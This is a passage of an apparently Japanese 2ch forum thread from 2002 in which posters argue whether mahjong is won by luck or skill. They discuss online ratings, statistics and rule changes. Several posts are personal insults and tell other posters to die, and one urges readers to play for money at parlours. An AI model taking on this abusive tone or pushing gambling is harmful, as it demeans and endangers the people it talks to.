絵本とかしか読めないような低学歴っぷりを発揮する>>102にも
わかりやすいような例をあげると東風じゃ番付けに多重疑惑が
一切出ずに何回か名前が出るくらいの腕ありますが何か?

107 :焼き鳥名無しさん:02/06/28 13:20
イカサマ前提にすれば間違いなく実力(というか技術か)だな。これは
疑いようもない事実。なんたって牌を操作できるんだから。

108 :焼き鳥名無しさん:02/06/28 13:24
>>107
初心者

109 :焼き鳥名無しさん:02/06/28 14:07
オレはやっぱ麻雀は運と実力の組み合わせだと思っている。
だから強い奴は長い目で見れば勝つと思う。

しかし、強くなるための労力の割にはその得られる結果が少ないので(費用対効果の問題)
麻雀には否定的だな。

何かしらのジャンルに時間をかけるなら
そのジャンルでは普通の奴には負けないぐらいの結果が示せないと意味がない。
麻雀にそこそこ時間をかけても「オレは麻雀が強いんだぜ」と言えるほどにはなりにくい。
それではあまりに空しい。
かといって本当に強くなるまで時間をかけるつもりもない。


麻雀を単なる娯楽と考えるならば、これほど面白い娯楽もないだろうが。

110 :焼き鳥名無しさん:02/06/28 16:41
イチローだって5打数ノーヒットの日はあるわけで。

111 :焼き鳥名無しさん:02/06/28 21:40
>>110
なんかイチロー調子悪いね。

112 :焼き鳥名無しさん:02/06/28 21:43
>>109同意
>>1 >>102氏ね

113 :焼き鳥名無しさん:02/06/28 21:49
>オレはやっぱ麻雀は運と実力の組み合わせだと思っている。
>だから強い奴は長い目で見れば勝つと思う。
>しかし、強くなるための労力の割にはその得られる結果が少ないので(費用対効果の問題)
>麻雀には否定的だな。

まあこの通りだろうなあ。そしてこれを文字通りに受け取るとやっぱり
運>実力 になっちゃうなあ。そうすると>1の言い分も一理はあるってことか・・

114 :焼き鳥名無しさん:02/06/28 21:53
>>102は激しく的を射ていると思われ

115 :焼き鳥名無しさん:02/06/28 21:54
>>112の怒りようは意味不明

116 :焼き鳥名無しさん:02/06/28 21:55
ジャンケンほど運勝負じゃないけど>>102は大体あってるだろう。
初心者がプロに勝つコトだってあるのが麻雀。

117 :焼き鳥名無しさん:02/06/29 02:58
運もあるけど腕も結構関係してるで。

何を切るレベルならある程度麻雀やってたらほぼ答えは一緒や思うけど
実戦では状況によって切り順、捨て牌も変わるやろ。

んで相手の捨て牌から手牌を読んで、自分の必要牌が使われてそうかとか
相手はどんな手かとか考えてツッパルかオリか決定するやろ。

状況が同じでも人によって判断ちゃうやろ? その辺は腕やろ。
負ける人は状況判断間違ってる事が多いか全局自分があがろうと自分の手牌に
集中してて状況判断してへん人が多いんちゃうかな。

パチスロでもそうやけど正確な状況判断が大切やで。
自分は正確な状況判断=腕って思ってるけど。

まっどうしようもない時やえげつなく勝つ時もあるからその辺は運って感じかな。
そんなとこで。 長文でゴメン。

118 :焼き鳥名無しさん:02/06/29 03:18
>>117
1行だけ省略されてる・・・

でも、概ね的を得てる意見だと思う。
>117氏は強そうだな。

おれの中では、運7割、腕3割。
強者は、その3割で長期スパンを勝ち続ける。
まぁ、スタイルにもよると思うけどね。

119 :ツモあがり決死隊 ◆QftYFMpI:02/06/29 03:23
実際運か実力かは微妙なところだけど、
確実にいえることは、
麻雀には勝ち組と負け組みが存在してるとゆうこと
そしてその勝ち組は、なるべく必然性を得る努力をしているとゆうこと

120 :焼き鳥名無しさん:02/06/29 03:27
そんなもん両方必要に決まってるやん
割合?数値的に決まるわけないやん
なんでこの手のスレが立つのか不思議だ
ちなみにひとつ間違い
下手を東風荘でいう下ランなみ、プロをR2100前後(R1800でもいいやw)と仮定すると
100試合も打てば確実に後者が勝ち越します。
上手い人の下ラン時の対戦成績とか見せてもらいなさい

121 : :02/06/29 03:44
やっぱりシラネー奴にはわこんねーよ
深いんだよ。 麻雀は。

122 :焼き鳥名無しさん:02/06/29 03:53
上手い奴は100回やれば勝ち越す、ってのはタコが出来るほど聞いたけど
同じ人と何度も打つとは限らんし、対戦相手の戦績をそこまで気にする
奴もいねーしなあ。やっぱり一回の半荘で実力を示すのは無理なのか?

123 :焼き鳥名無しさん:02/06/29 03:56
例えば将棋なら、俺(東風でR2000弱)が羽生さんとマジでやれば
1000回やったら確実に1000連敗するだろう
しかし、井出プロ、安藤プロ、小島プロと麻雀を半荘1000回やれば
200回位ならトップを取れるかもしれない
この辺が麻雀の長所でもあり短所でもあると思う

124 :焼き鳥名無しさん:02/06/29 03:56
麻雀も普段の人付き合いと同じで
実際強いかどうかでなく、強そうに見せることが大事。
東風荘ではその辺がはっきりしないのがいいのかもしれないが。

125 :焼き鳥名無しさん:02/06/29 04:21
>>120
>そんなもん両方必要に決まってるやん
運と実力、両方あったら負けるわけ無い。
当たり前。

>割合?数値的に決まるわけないやん
確定要素と不確定要素の割合って言えばわかる?
様々な要素を数値化する能力の無いヤツが麻雀強いとは思えない。
期待値ってわかる?

126 :125:02/06/29 04:23
>>120
まさかとは思うけど東風荘の話だった?
だったら悪かった。

127 :120:02/06/29 04:47
>>125
決まってるやんって書いてるのにそれを見て 当り前 って言われても困るなぁ放置してくれよ
期待値知らんヤツなんているんか?各事象の数値に起こる確率をかけたもんだな
125がそれまでのどれか知らんけど
運7割・・・とか適当に値を言うなってことを言いたかった。
君の言うように実力を数値化できるまで細かく要素を分類出来るようになればいいな
え?もしかして既に分類してるのか?そりゃすごい!君は天才だ

128 :焼き鳥名無しさん:02/06/29 06:37
コンピュータで最強の麻雀思考ルーチンって作れるの?

129 :焼き鳥名無しさん:02/06/29 08:43
勝ってる奴は「俺には実力あるんだ」と思い込むもんです
負けてる奴と同じ牌がきてもほとんど結果はかわらないでしょ

130 :焼き鳥名無しさん:02/06/29 12:21
麻雀に実力が関係ないという人は
プロの牌譜を知り合いにでも
全員に同じ牌・同じつもがくるように並べてもらって
四人で打って見なさい最終形が全然違うものになる
現にこれやってるところが結構ある

131 :焼き鳥名無しさん:02/06/29 13:58
>>128
スーチーパイは最強

132 :125:02/06/29 15:39
>>127
各要素を数値化する方法なんていくらでもある。
例えば過去の実績。

>下手を東風荘でいう下ランなみ、プロをR2100前後(R1800でもいいやw)と仮定すると
>100試合も打てば確実に後者が勝ち越します。

これは当然。
>>120で自ら書いているように、サンプルが多いほど成績は実力の値に収束する。

>割合?数値的に決まるわけないやん
上記のような結果の集合を一定のルールを用いて数値化する。
運という要素、実力という要素も、サンプルがあれば数値化できないはずがない。
当然、結果への寄与度という形で割合にすることも可能。
完全数値化は困難だが、ある程度の精度で数値化し、それを結果に結びつけるのは簡単。

確率をどれだけ重視するかは人それぞれ。
打っている時、膨大な思考量の人もいればそうでない人もいる。
どんなやり方でも否定はしないが、「数値化できない」というのは明らかに誤り。

>そりゃすごい!君は天才だ
言葉も無いね。

133 :焼き鳥名無しさん:02/07/01 19:20
>>130

バカじゃないのか・・・・

134 :焼き鳥名無しさん:02/07/01 19:35
麻雀は1割が理であとは感性でしょ。大体勝つ=強いじゃないだろ

135 :焼き鳥名無しさん:02/07/01 19:36
大体勝つ=強いじゃないの?

136 :焼き鳥名無しさん:02/07/01 19:49
>>133
バカはテメーダヨ
東風厨は東風にカエレ

137 :焼き鳥名無しさん:02/07/01 20:20
スーチーパイって役満出まくるよね
あれ最強だわ

138 :焼き鳥名無しさん:02/07/01 20:38
>>133
ネタですか?

139 :焼き鳥名無しさん:02/07/01 20:40
>>133
バカでしょ。
全部結果論で終わるだけじゃん。
アホ丸出し。

140 :焼き鳥名無しさん:02/07/01 20:46
実力?かんけーねーよ。運だよ、運。ウンウン

141 :焼き鳥名無しさん:02/07/01 22:18
東風荘にかぎって言えば実力は関係ないね。。。
ちなみに俺は第一超ラン雀士ですが・・・

142 :焼き鳥名無しさん:02/07/01 22:27
>>141
同意。運だけだな。
ちなみに俺はあんたに勝ち越してる。

143 :焼き鳥名無しさん:02/07/01 23:24
ないですが何か?

144 ::02/07/01 23:45
「麻雀はけっきょく運だ」と言う奴は、
よほど弱い奴かよほど強い奴のどっちか。
1は前者だろうなあ・・・

145 ::02/07/01 23:46
「ヘボ」と言われつづけた上に、
いくら持ってかれたのか、かわいそうにすらなる。

146 :焼き鳥名無しさん:02/07/01 23:48
しかしこれだけはっきりと意見が分かれると一生答えは出ないんだろうな

147 :焼き鳥名無しさん:02/07/01 23:52
>東風荘にかぎって言えば
この言葉使っていいのなら
常にR2000維持してる人、あるいは
何度新規作っても超来れないヤツは
常に運が(・∀・)イイ!!か(・A・)イクナイ!!人たちなんですね(・∀・)

・それって運かw

148 :焼き鳥名無しさん:02/07/02 00:06
>>147
>何度新規作っても超来れないヤツ
麻雀板には、そんな奴いないだろ。
東風荘ユーザ全体でみれば、そりゃ低Rもたくさんいるけど、
麻雀板に書き込みするような『麻雀ヲタ』なら、
簡単に超に来れる程度の実力ってのが平均レベルだと思われ。

149 : KEI:02/07/02 01:41
ううん・・どこにでも>>1みたいな人いるけど
あれよ麻雀は、な、アレ。いくぞ、このスレおわらせちゃうけどいいよね

   麻雀勝つのは運負けるは実力  

これが理解できれば>>1も強くなれるよ。
ちなみに心がけ

150 :焼き鳥名無しさん:02/07/02 02:01
>>149
ハァ?

151 :焼き鳥名無しさん:02/07/02 02:07
>>147
暇なだけだろ

何度も新規作るやつなんているのか?せこすぎるよ
君もやったくち?

152 :焼き鳥名無しさん:02/07/02 02:48
あ〜どれすは、にゃんにゃんにゃん♪て〜んこてん、じぇいぴー♪

153 :焼き鳥名無しさん:02/07/02 03:25
確かに東風荘のレベルはヒドイね。
この前はじめてやってみたけど、レートって何?って感じ。
レート高いのを自慢するタコ。そしてタコ同士でタコ和がり連発。
正直言って萎えた。ツマラン!

イキがってる連中はフリーで腕試しすることをオススメする。
ピン以上のお店がいいよ。結構稼げるから。
どうせ勝つなら儲かった方がいいでしょ?ね?ね?

154 :  :02/07/02 03:31
>>153
あなたのような頭が弱そうな人は東風荘の待合がおすすめですよ。
もしかして「君はつよいんだね」というレスがもらえるとおもったのかな?w

155 :焼き鳥名無しさん:02/07/02 03:34
>>154
で、何が言いたいの?

156 :155:02/07/02 03:35
>>154
頭が弱いの?

157 :155:02/07/02 03:36
>>154
トンプー厨か?

158 :  :02/07/02 03:38
>>155 まあおちつけって(藁

159 :学生時代の恩師:02/07/02 04:03
ふたりとも廊下に勃ってなさい!

160 :焼き鳥名無しさん:02/07/02 04:16
>>160
東風荘にも強い打ち手はいるよ

あ、でもRはかんけーないや
R高いヘボもいるし
R低いつわものもいる

161 :焼き鳥名無しさん:02/07/02 04:20
>>160
まあ試合数こなしてるやつはただの暇人
フリー逝けよ

162 :焼き鳥名無しさん:02/07/02 04:36
フリー行く方がよっぽど暇に見えるのは俺だけか・・・

163 :焼き鳥名無しさん:02/07/02 04:42
金にならない麻雀って何が楽しいの?
トッププロと打てるならまだしも、素人とやるなら金でしょ。
東風荘、本気で理解不能。

164 :焼き鳥名無しさん:02/07/02 04:57
まあ東風のRほどあてにならないものはない
「ちっ!スカウターの故障だぜ」
どうしてこんなヘボがR高いんだよ〜

165 :焼き鳥名無しさん:02/07/02 11:26
一度競技ルールでやってみることをオススメします。

166 :焼き鳥名無しさん:02/07/02 13:02
>>162
おまえだけかと

167 :焼き鳥名無しさん:02/07/02 13:43
>>162
出たな東風厨ワラ
どう考えても試合数こなしてるのは暇人に決まってるだろ
フリー通う奴も東風で試合数こなす奴も暇なんだよ
東風で何千試合もする暇があるならフリー逝って麻雀したほうがマシなんでないの
つー意見だろ
家に引き蘢って画面に向かって1人で何千試合もするより
外に出てフリーでちゃんとした麻雀打ったほうがいいのは誰が見ても明らか
はっきりいってキモイんだよ東風はヒッキー丸出し
よく読んでやれよ暇人
外に出て人と会話しないと日本語の読解力がおかしくなるぞワラ
友達作れよ

168 :焼き鳥名無しさん:02/07/02 13:56
>>163みたくどぶに金捨てるくらいなら東風でまたーり打つ方が楽しい

169 :焼き鳥名無しさん:02/07/02 14:22
>>167
禿同!

170 :163:02/07/02 14:24
>>168
金を拾いに行ってんだよ。

171 :焼き鳥名無しさん:02/07/02 15:05
>>168
俺は一人で打つより人と打ったほうが楽しいな。
人と関わりたくない人が東風やるんじゃないの?

172 :163:02/07/02 15:25
>>171
なるほど、勉強になりますたー

173 :焼き鳥名無しさん:02/07/02 15:41
いや、東風荘は人と打つんだよ
知り合った人とオフ会やったり楽しいよ

174 :焼き鳥名無しさん:02/07/02 15:43
一生ヒキコモッテロ

175 :焼き鳥名無しさん:02/07/02 15:56
現物喰い変えアリアリアリ!!!!!!!!!!!!!!!!!!!!

176 :焼き鳥名無しさん:02/07/02 16:23
ルールがちゃんとしてるほうがいいだろ
クイタンなしでクイカエありの無茶な麻雀で強い弱いほざいてんじゃねーよ
>>173
画面みながら一人で打ってるだろうが
「オフ会」なんて特殊な条件つけなきゃ人と接してないのはヒキコモリだろ

177 :焼き鳥名無しさん:02/07/02 16:52
>>176
こんな時間に2chに書き込んでるやつが他人をヒキコモリ呼ばわりは笑える(w

178 :焼き鳥名無しさん:02/07/02 16:53
東風荘は、すっとあのルールで逝くの?

179 :焼き鳥名無しさん:02/07/02 16:54
ネット環境の整ってない会社って、いまどきあんの?

180 :焼き鳥名無しさん:02/07/02 16:56
>>177
オマエモナー

181 :焼き鳥名無しさん:02/07/02 17:06
ここですか引き篭もりを語るスレは?

182 :焼き鳥名無しさん:02/07/02 17:17
実力関係ねえよ。上手い奴は考えることも大体同じ。

183 :焼き鳥名無しさん:02/07/02 17:46
上手い奴って言ってる時点で実力関係ありだろ!

184 :焼き鳥名無しさん:02/07/02 18:09
>>1は、きっとカントリーマアムを食いながら打ってる限りは運でしか勝てないヤシだよ

185 :焼き鳥名無しさん:02/07/02 18:22
すべては↓のスレに
http://sports2.2ch.net/test/read.cgi/wc/1025194445/

186 :1:02/07/02 18:47
君たち必死だな

二回しかレスしてないのにこのスレの伸びよう!

なんつーか牌効率とか極めたらもうこれは運のみだよね、これは認めろよマジ
お前等ってアレだよな、ちょっと相手の待ちとか読んでたまたまあってたりすると
鬼の首を取ったようなふうに自慢して挙句の果てに自分が強いって錯覚するのな、これにはワロタ(・∀・)

つーか相手の待ちなんて相手のツモ切りとか手出しとか覚えといて裏筋とかマタギとかみりゃ大抵あたるしさ
そんなとこみんなわかってるわけでそんな所も考慮して俺は運のみだと思うわけ
将棋やってる奴と違って麻雀やってる奴ってのはすぐ驕るからな。
なんかここの奴って「俺はフリーいってるからつえーよ」ってカンチしてる奴多すぎ。
ともかく運だけなんだからガタガタウザイよ。レスするつもりなかったけどあまりにも滑稽だから我慢せきませんでしたw
(;´Д`)=3ふぅ馬鹿ばっかでやんなる

187 :1:02/07/02 18:49
なんでそんな自信たっぷりなのか理解に苦しむよ

お前等のカキコみてると

正直ムカつく

188 :3翻40符 ◆64s.zqJw:02/07/02 19:00
なんつーか その ここ オモシロイね

189 :焼き鳥名無しさん:02/07/02 19:15
読みがたいてい当たるとか言ってる時点で語る資格なし。

190 :焼き鳥名無しさん:02/07/02 19:17
>>1お前は仮に牌効率や待ちが、普段は読めてるとしても負け組みですね
なぜかというとこんなレス見てムカツク程度の精神では
ちょっと調子が悪くなるとすぐ熱くなって
まともに待ちが読めなくなったり、読めても廻しうとうという我慢も出来ず
結局勝負してふっちゃうそれでますます熱くなって・・・
って感じで結局負けちゃうんでしょうね
それで自分が熱くなって負けてるくせに
運が無い運が無い
ぼやいてるだけじゃないんですか?
しかもあなたのレスを見ると余裕がありませんね
何か強引に運だけって方向にもってこうとして
相手を見下したい言い方で物を言う
典型的な頭の弱い人ですね
まあ人としての基礎的な物をしっかり
学習してくださいね

191 :1:02/07/02 19:17
>>189
はいはい

わかったわかったお前は自分が強いと思ってるカンチちゃんなんだね

もういいよw滑稽だから

192 :焼き鳥名無しさん:02/07/02 19:18
>>186
牌効率だってW

いつも同じパターンで打つのか君は?
それじゃヘボだろ

193 :焼き鳥名無しさん:02/07/02 19:20
>>191
君とならデカリャンピンで打てるね
余裕で勝てそうだ

牌効率、、、プッ

194 :焼き鳥名無しさん:02/07/02 19:22
はーーーいこうりつ  どどんどどんどん
はーーーいこうりつ  どどんどどんどん
はーーーいこうりつ  どどんどどんどん


ヴァーカ

195 :1:02/07/02 19:24
必死だなぁみなさん

牌効率って言葉でわらってる奴ってなんなんだろう・・・

196 :焼き鳥名無しさん:02/07/02 19:26
はーーーいこうりつ  どどんどどんどん
はーーーいこうりつ  どどんどどんどん
はーーーいこうりつ  どどんどどんどん

197 :1:02/07/02 19:27
>>190
プッそんな長文こしらえて相当俺の文が癇に障ったんだろうね。

熱くなってンのどっちかわかりゃしないなぁ。顔真っ赤のしてキーボード叩く音が聞こえそうだな(w

198 :焼き鳥名無しさん:02/07/02 19:27
>>1

泣くな

199 :焼き鳥名無しさん:02/07/02 19:27
>>190もあれだなw

200 :190:02/07/02 19:29
>>197
( ´,_ゝ`)プッ

201 :1:02/07/02 19:29
これからも牌効率でやっていくつもりです

202 :焼き鳥名無しさん:02/07/02 19:29
>>190
得意げに厨房に長文してんじゃねーよ
あほか?放置しろよ

203 :焼き鳥名無しさん:02/07/02 19:30
はっきり言って麻雀は運だろ

204 :1:02/07/02 19:30
僕は牌効率しか愛せません

205 :焼き鳥名無しさん:02/07/02 19:31
はーーーいこうりつ  どどんどどんどん
はーーーいこうりつ  どどんどどんどん
はーーーいこうりつ  どどんどどんどん

206 :焼き鳥名無しさん:02/07/02 19:31
>>1がたくさんいるな。
自作自演するにしても時間おいてやれよ。
1分刻みじゃバレバレじゃん(藁

207 :焼き鳥名無しさん:02/07/02 19:31
1も恥ずかしいが190も恥ずかしい奴だな
論破してやったって悦にいってそうでわらえるw

208 :焼き鳥名無しさん:02/07/02 19:32
>>1
>>190の軽い挑発に顔を真っ赤にして自作自演をして
仕返しをするスレになったのはここですか?

209 :焼き鳥名無しさん:02/07/02 19:32
>>206
自作自演?
( ´,_ゝ`)プッ

210 ::02/07/02 19:33
馬鹿が増えたな

だから自称麻雀ウマーはやなんだよ

もうツマンネから帰るわ

211 ::02/07/02 19:33
俺190を愛してます

212 ::02/07/02 19:33
僕も190が大嫌いです

213 :焼き鳥名無しさん:02/07/02 19:34
>>190はDQNそれを叩いてるのは>>1
この二人を見て笑ったのが見てる人
こんなところですか?

214 :焼き鳥名無しさん:02/07/02 19:34
俺様とデカマンピンで闘牌できるやついる?

215 :焼き鳥名無しさん:02/07/02 19:34
>>190
を叩くスレになりました

216 :焼き鳥名無しさん:02/07/02 19:34
>>1

泣くな

明日があるさ

217 ::02/07/02 19:35
誰か就職先紹介して下さい
おながいします

218 ::02/07/02 19:35
ほっほっほ

219 :1:02/07/02 19:35
牌効率って凄くね?

220 :190:02/07/02 19:36
( ´,_ゝ`)プッ
やっぱ>>1は馬鹿だね事実を指摘されて
相手を馬鹿呼ばわりして帰るのか
まあそんな>>1にマジレスした俺も馬鹿か

221 :1:02/07/02 19:37
牌効率牌効率牌効率牌効率牌効率牌効率牌効率牌効率
牌効率牌効率牌効率牌効率牌効率牌効率牌効率牌効率

222 :焼き鳥名無しさん:02/07/02 19:37
麻雀は運が大半を占めるってことで   

 
      終     了          

223 :◆lx23KCqU:02/07/02 19:38


224 :焼き鳥名無しさん:02/07/02 19:40
牌の効率の前に
自分の人生の効率を考えろよW

225 ::02/07/02 19:40
>>190
お前人を馬鹿にしてんじゃねぇよ
お前はそんなに偉いのかこの馬鹿が
麻雀覚えてから物言えや

正直かなりムカツク
あームカツク
まじで死ね>>190

226 :焼き鳥名無しさん:02/07/02 19:40
ほっほっほっほっほっほっほ

227 ::02/07/02 19:40
あgじゃぺrgじぇwpgじゃpsgj

228 :焼き鳥名無しさん:02/07/02 19:43
>>187
>なんでそんな自信たっぷりなのか理解に苦しむよ
>正直ムカつく
いいことを教えてやろう
麻雀は自信がないと勝てない
麻雀はムカついたら負け

だから麻雀は意味なく自信があってなんかムカつく奴が強い
お前は弱い(ワラ

229 :焼き鳥名無しさん:02/07/02 19:46
>>228
気が済んだ?もう馬鹿にはレスすんなよ

230 :1:02/07/02 19:47
俺さー、牌コーリツ知ってんだぜ
マジよくね?

231 :焼き鳥名無しさん:02/07/02 19:47
>>1
だから
人生の効率を考えてさあ
もうここにくんなよW

232 :焼き鳥名無しさん:02/07/02 19:47
誰か、俺様とデカマンピンで闘牌できるヤシいる?

233 :1:02/07/02 19:48
コウリツがあったら勝てるね
あとは運

これが麻雀だろ
さすが俺

234 :1:02/07/02 19:51
高卒ですが何か?

235 ::02/07/02 19:51
うわああああああああん
悔しい・・
もう寝る
うあああああああああん

236 :焼き鳥名無しさん:02/07/02 19:51
>>190
ネタレスで>>1>>190を叩く自作自演をしつつ
1000を目指すスレになったのはここですか?

237 :  :02/07/02 19:53
>>1
まあおちつけってw

238 :焼き鳥名無しさん:02/07/02 19:56
>>190
煽ってる奴は>>1馬鹿は相手にするなと言うのは
普通の人>>190はネタのつもりがみんなに本気と思われた人

239 :焼き鳥名無しさん:02/07/02 19:57
>>236
誰か訳してくれ

意味がわからん

240 :焼き鳥名無しさん:02/07/02 19:59
>>239
厨にマジレス(・∀・)イイ!

241 :1:02/07/02 20:04
牌効率は永久に不滅です

242 :焼き鳥名無しさん:02/07/03 00:14
age

243 :焼き鳥名無しさん:02/07/03 04:15
あ、ネタスレ化してる・・・

244 :焼き鳥名無しさん:02/07/03 06:42
牌効率がネタ扱いされてるということは実力なんて関係無い派が多数と考えてよろしいか?

245 :焼き鳥名無しさん:02/07/03 07:35
牌効率ヲタは早起きだ

246 :焼き鳥名無しさん:02/07/03 07:49
なんど言わせれば気がすむんだ!実力なんてカンケーねーよ。運だよヴァk

247 :剥田刈男:02/07/03 09:15
運のみ

248 :焼き鳥名無しさん:02/07/03 10:03
牌効率?

249 :焼き鳥名無しさん:02/07/03 10:20
己の弱さを『運』のせいにするヘタレが集まるスレはここですか?

250 :焼き鳥名無しさん:02/07/03 10:31
どっちでもいいよ

251 :焼き鳥名無しさん:02/07/03 10:51
ほっほっほ

252 :焼き鳥名無しさん:02/07/03 11:59
牌効率で勝てるの?hぁかですか?

253 :焼き鳥名無しさん:02/07/03 13:00
勝ち組:カモを確保するための手法     →麻雀は運
負け組:麻雀を理解していないor現実逃避 →麻雀は運

254 ::02/07/03 13:02
まあ、麻雀なんて競馬やパチンコと同じギャンブルなんですから負けてもそう本気にならずに・・

255 :焼き鳥名無しさん:02/07/03 13:07
>>254
麻雀は競技ですが、なにか?

パチや三競と同列に並べられちゃたまらんよ。

256 :焼き鳥名無しさん:02/07/03 13:15
>>186
>つーか相手の待ちなんて相手のツモ切りとか手出しとか覚えといて裏筋とかマタギとかみりゃ大抵あたるしさ

大抵あたるって1点で読めるってこと? ツモ切りや手出しを3人分全部覚えてるの?
どうせベタオリしてやっぱりこれ当たりか〜とか言う奴だろ

麻雀打ってる奴が全員同じ打ち方で同じ読みなら運だろうけどそんなこと有り得ないでしょ?
全員がイチロークラスなら野球なんて運だよねって言ってたらバカだろ? それと同じようなもんじゃん
究極の話をすれば野球だろうが何だろうが全部運だろ!

まっ後レスついてむかつくならスレ立てるなってことで

257 :焼き鳥名無しさん:02/07/03 13:17
ツキのみ
-----おわり-----

258 ::02/07/03 13:18
http://www.t-matsu.com/i-2ch/c20.html

二ちゃん様がギャンブルだと・・

259 :焼き鳥名無しさん:02/07/03 13:31
運の良いやつが天和連発するだけで自称実力派は手も足も出ません。ワラ

260 :焼き鳥名無しさん:02/07/03 13:35
テンホウ連発するとか言うと頭悪そうだな。
そこまでしなくても、毎局5巡目にピンフドラ1テンパイするだけで手も足も出ないと思う。

261 :焼き鳥名無しさん:02/07/03 13:39
毎局5巡目にピンフドラ1テンパイされんなら、毎局天地人和かますしかないな

262 :焼き鳥名無しさん:02/07/03 13:51
俺様とデカマンピンで闘牌できるやついる?

263 :焼き鳥名無しさん:02/07/03 13:58
貧富の差とレート

264 :焼き鳥名無しさん:02/07/03 15:05
都合悪いとネタにしたがる頭弱い連中がつどう板ってここでよさそうだね

265 :焼き鳥名無しさん:02/07/03 15:07
まだ大富豪の方が腕がいるよ 麻雀より

266 :焼き鳥名無しさん:02/07/03 15:24
頭悪そうなスレだな・・・

267 :焼き鳥名無しさん:02/07/03 18:43
麻雀は運です。
俺なんか毎回天和、地和が出てしまいます。
たまには普通の役であがってみたいものだ

268 :焼き鳥名無しさん:02/07/03 18:44
>>267
タンヤオ君を見習え!

269 :焼き鳥名無しさん:02/07/03 18:48
運だって散々いってんだろボケナスー

270 :焼き鳥名無しさん:02/07/03 20:08
>>267
あがるな!雀頭をくずすとか面子を落とすとかして
手作りしなおせ!!!

271 :焼き鳥名無しさん:02/07/03 20:17
麻雀は運
人生も運

272 :上等だね:02/07/04 00:19
「麻雀は運ではない。運で1着は取れるけど、2着は取れない。」
とか意味のわからんことをいってる輩がいたような・・・
俺にはサパーリ意味がわからんかった

273 :焼き鳥名無しさん:02/07/04 09:30
>>272
運で四着もむずかしい

274 :焼き鳥名無しさん:02/07/04 09:48
大富豪だって(プ
ガキノアソビジャナイノ?

275 :焼き鳥名無しさん:02/07/04 09:51
>>274
頭オカシイの?

276 :焼き鳥名無しさん:02/07/04 10:20
http://www8.plala.or.jp/nasuka/rumsses.htm

http://www.h3.dion.ne.jp/~kody-art/index.htm

パチンコメーカーの人が質問に答えてくれる。意外と面白い。

277 :焼き鳥名無しさん:02/07/04 13:05
>>275
なんでおかしいか詳しくいってみよ。話はそれからだ。

278 :焼き鳥名無しさん:02/07/04 13:14
君タチにはワロタ(・∀・)

279 :焼き鳥名無しさん:02/07/04 16:05
馬鹿ばっか

下手ばっか

牌効率しろ

280 :焼き鳥名無しさん:02/07/04 16:19
つもあがりの点を1/2にすると実力の差がはっきりする。意味分かります?
素人でも思わぬところで運で和了ってしまう。それが麻雀の醍醐味なんすよ。

281 :焼き鳥名無しさん:02/07/04 17:27
>>280
それ言ってる人いたなぁ素人が必ず負けるルールとは
見たいな事本に書いてたまとめると
@ドラは無くす
Aつもあがりは半分
Bリーチ一発は無い(リーチは可)
これでやると必ず素人は負けるそうだよ
まあ当たり前といえば当たり前か

282 :焼き鳥名無しさん:02/07/04 21:37
麻雀において必ずとか絶対とかはないかと・・・

283 :焼き鳥名無しさん:02/07/04 21:39
運が8割。実力2割。

勝ったときは自分の運が良かったと思い、
負けたときは実力のせいにして次に励む。
自分より相手のほうがうまかったのだと思ってね。

284 :焼き鳥名無しさん:02/07/04 21:40
>>281
その本はいかんな。

285 :焼き鳥名無しさん:02/07/04 22:40
>>284
そうかなぁ?
じゃあ具体的にどの辺がいかんのか教えてくれ
あくまでも素人はこのやりかたでやればまず負ける
ってところのみで見てね

286 :焼き鳥名無しさん:02/07/04 23:21
その感覚 とうの - 2002/06/20(Thu) 15:15 No.529

容姿、しゃべる言葉、匂い、存在そのもの
何一つとして感動を与えることができない。
そしてそのことは考えてはいない。

妥協や、理解。
そういうものをわかっているのとそうでないもの。
そうじゃない人。
自分を疑わない。

許せないものがあって
普段は忘れているけど、許してはいない。
被害を受けていなくても許せない許していない。

死んで欲しいわけじゃなく
自分の中での「それ」がある。

--------------------------------------------------------------------------------

Re: 忘れる 凸 - 2002/06/20(Thu) 23:22 No.530

意味をわかりやすくするか、表現に凝るか、どっちかにしよう

287 :焼き鳥名無しさん:02/07/05 02:17
>>285
まず「素人」の言葉の意味が不明瞭。
どのあたりまでを指すのか。

極端な話、ルールは知ってるけど
まったくやったことのない素人ならどんなルールでも負ける。

でも基本のわかっている程度の素人ならそのルールでも負けないと思う。
ただし、これもまた、「基本」ってなによ?って話になるわけで。

要するに、そんな抽象的なことで「必ず」を語るのは間違いかと。

もうひとつには、
その本の指すルールで打つと素人がまけるといえる理由を考えてみると、
(作者の意図を汲み取って・・・)
@素人にもドラがのって高い手ができてしまう可能性がある
A聴牌をとってバレバレな待ちでもツモ上がりできる可能性がある
B素人にも一発がつく可能性がある。
って考えられる。

でもこれらはいわゆる玄人にも同じ条件で、
これらが起こる確率は極限的に等しくなる。
(つまり、一定半チャン繰り返せば、起こる確率は同じということ)
これは当然のことだけど、
その本の指摘する点には、統計的な差は生じない。
特にBなど愚の骨頂。

288 :287:02/07/05 02:22
雑文、少し訂正。

×でも基本のわかっている程度の素人ならそのルールでも負けないと思う。
○でも基本のわかっている程度の素人ならそのルールでも負けるとはかぎらないと思う。

×その本の指摘する点には、統計的な差は生じない。
○その本の指摘する点からは統計的な確証は全く得られない。

289 :焼き鳥名無しさん:02/07/05 02:26
なるほどねぇ

ただ、ふと思ったんだが
ドラに関しては、ドラがあったほうが恩恵を受けるのはむしろベテランのほうではないか?

ベテランのほうがいわゆるドラの生かし方を知ってるはず。
そう考えるとホントに確証は得られなさそうな話だな。

290 :焼き鳥名無しさん:02/07/05 02:30
長期的に考えると、素人が有利になることは絶対にありえない。
短期だとわかんないけどね。

291 :焼き鳥名無しさん:02/07/05 03:19
ドラなかったら役を重視する全く別の麻雀になるな
赤のありなしと同じように

ツモが1/2って山に残ってる牌で待つんだから関係ないような
一発も一発目かわせばいいんだから問題なし
それが麻雀
そのルールってツキだけ素人に負ける自称中級レベルの半端な奴が
せめてツキだけの素人には勝ちたいがためのルールみたいだな

292 :焼き鳥名無しさん:02/07/05 06:53
>>290
短期でも負けるなよ初心者君

293 :焼き鳥名無しさん:02/07/05 13:46
きもいよおおまえら

294 :焼き鳥名無しさん:02/07/05 13:54
>>293が一番キモイ。

295 :焼き鳥名無しさん:02/07/05 13:55
まぁいずれにせよその本は駄作と

296 :焼き鳥名無しさん:02/07/05 14:01
http://www8.plala.or.jp/nasuka/rumsses.htm

業界人が質問に答えてくれる。意外と面白い。

297 :焼き鳥名無しさん:02/07/05 16:21
素人は和了りだけを見てるからこのルールが無意味だと思える。守りも見てる人には理解できる。放銃するかしないかによって決まる。麻雀は読みが重要なんだよ。

298 :焼き鳥名無しさん:02/07/05 16:22
↑変な文スマソ

299 :焼き鳥名無しさん:02/07/05 16:23
